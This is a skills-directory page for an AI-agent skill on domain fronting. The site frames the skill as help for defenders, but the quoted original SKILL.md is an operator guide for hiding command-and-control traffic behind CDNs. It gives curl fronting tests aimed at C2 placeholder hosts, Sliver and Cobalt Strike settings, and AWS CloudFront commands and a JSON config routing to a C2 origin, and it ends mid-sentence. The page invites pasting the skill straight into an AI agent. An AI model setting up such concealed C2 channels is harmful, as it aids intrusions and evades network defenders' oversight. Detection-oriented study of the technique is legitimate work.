c2-domain-fronting
What it does
This guide describes domain fronting, a method where traffic appears to go to a well-known CDN while being routed elsewhere. It is for network defenders who want to detect this pattern.
When to use it
- βWhen a network team wants to check whether traffic to a CDN has mismatched host names.
- βWhen an authorized exercise simulates CDN-hidden traffic for detection practice.
- βWhen a security team reviews whether its proxy inspects encrypted CDN traffic.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/c2-domain-fronting/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βCan our proxy spot traffic that claims to go to a major CDN but has a mismatched host name? Please help me check.β
5 new skills a week. 1 minute to read.
How it works
The agent reviews proxy and DNS logs for mismatched server names and host headers, and suggests detection rules for that mismatch.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
Domain Fronting & CDN Abuse for C2
Domain fronting exploits the discrepancy between the TLS SNI field and the HTTP Host header when traffic passes through a CDN. The network-level observer sees a connection to a legitimate, high-reputation domain (e.g., cdn.microsoft.com) while the CDN routes the request to the operator's origin based on the inner Host header. This makes blocking the C2 equivalent to blocking the entire CDN.
Quick Reference
# Test domain fronting via CloudFront
curl -s -H "Host: <C2_DISTRIBUTION>.cloudfront.net" https://allowed.cloudfront.net/search
# Test Azure CDN fronting
curl -s -H "Host: <C2_ENDPOINT>.azureedge.net" https://ajax.aspnetcdn.com/test
# Sliver HTTPS listener with domain fronting
https --lhost 0.0.0.0 --lport 443 --domain <C2_ORIGIN>
# Cobalt Strike β set in Malleable C2 profile
# header "Host" "<C2_DISTRIBUTION>.cloudfront.net";
MITRE ATT&CK Mapping
| Technique | ID | Usage in Skill |
|---|---|---|
| Proxy: Domain Fronting | T1090.004 | CDN-based SNI/Host header mismatch for C2 |
| Web Service: Bidirectional Communication | T1102.002 | CDN edge as bidirectional C2 relay |
| Data Obfuscation | T1001 | C2 traffic disguised as CDN content requests |
1. The Domain Fronting Technique
How It Works
βββββββββββ TLS SNI: allowed.example.com ββββββββββββ
β Implant β ββββββββββββββββββββββββββββββββββΊ β CDN β
β β Host: c2.attacker.cloudfront.net β Edge β
βββββββββββ ββββββ¬ββββββ
β Routes by Host header
βΌ
ββββββββββββ
β C2 Originβ
β Server β
ββββββββββββ
TLS layer (visible to network monitor):
- SNI =
allowed.example.com(high-reputation domain on same CDN) - Certificate = CDN wildcard cert (e.g.,
*.cloudfront.net) - IP = CDN edge node
HTTP layer (inside TLS, invisible to monitor):
Host: c2-distribution.cloudfront.netβ CDN routes to operator's origin
Result: Blocking the C2 requires blocking the entire CDN.
Requirements
- CDN that routes by Host header (not all do β see provider matrix)
- A legitimate high-reputation domain on the same CDN for the SNI
- Operator's C2 server registered as a CDN origin/backend
- The CDN must not enforce SNI == Host (many now do)
2. CloudFront Domain Fronting
Setup
# 1. Create CloudFront distribution pointing to C2 origin
aws cloudfront create-distribution \
--origin-domain-name <C2_ORIGIN_IP_OR_DOMAIN> \
--default-root-object index.html \
--query 'Distribution.DomainName'
# Returns: d1234abcdef.cloudfront.net
# 2. Find a frontable domain (legitimate site on CloudFront)
# Use: dig <CANDIDATE_DOMAIN> β look for CNAME to *.cloudfront.net
dig allowed-domain.com CNAME +short
# Output: d9876xyz.cloudfront.net. β same CDN, usable as front
# 3. Test fronting
curl -v -H "Host: d1234abcdef.cloudfront.net" \
https://allowed-domain.com/beacon
# Successful: HTTP 200 from your C2 origin
# Failed: HTTP 403 "The request could not be satisfied" β front domain not viable
CloudFront Configuration
# Create distribution via JSON config
cat > /workspace/c2/cloudfront-config.json << 'EOF'
{
"CallerReference": "c2-$(date +%s)",
"Origins": {
"Items": [{
"Id": "c2-origin",
"DomainName": "<C2_ORIGIN>",
"CustomOriginConfig": {
"HTTPPort": 80,
"HTTPSPort": 443,
"OriginProtocolPolicy": "https-only"
}
}],
"Quantity": 1
},
"DefaultCacheBehavior": {
"TargetOriginId": "c2-origin",
"ViewerProtocolPolicy": "https-only",
"AllowedMethods": {
"Items": ["GET", "HEAD", "POST", "PUT", "PATCH", "DELETE", "OPTIONS"],
"Quantity": 7
},
"ForwardedValues": {
"QueryString": true,
"Cookies": {"Forward": "all"},
"Headers": {"Items": ["*"], "Quantity": 1}
},
"MinTTL": 0, "DefaultTTL": 0, "MaxTTL": 0
},
"Enabled": true,
"Comment": ""
}
EOF
aws cloudfront create-distribution --distribution-config file:///workspace/c2/cloudfront-config.json
Current Status (CloudFront)
AWS partially mitigated domain fronting in 2018. CloudFront now validates that the Host header matches a con
FAQ
What is domain fronting?
It is when the visible server name differs from the name inside the request, so traffic can be routed through a trusted CDN.
Why is it hard to block?
Blocking it can mean blocking the whole CDN, which many services rely on.
What should defenders look for?
Mismatched server names and host headers in encrypted traffic logs.
Details
Original description by the author
Domain fronting and CDN abuse for C2 concealment β CloudFront, Azure CDN, Fastly setup, TLS SNI vs Host header technique, CDN-based redirectors, and integration with Cobalt Strike and Sliver.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #14128
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- β¦
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.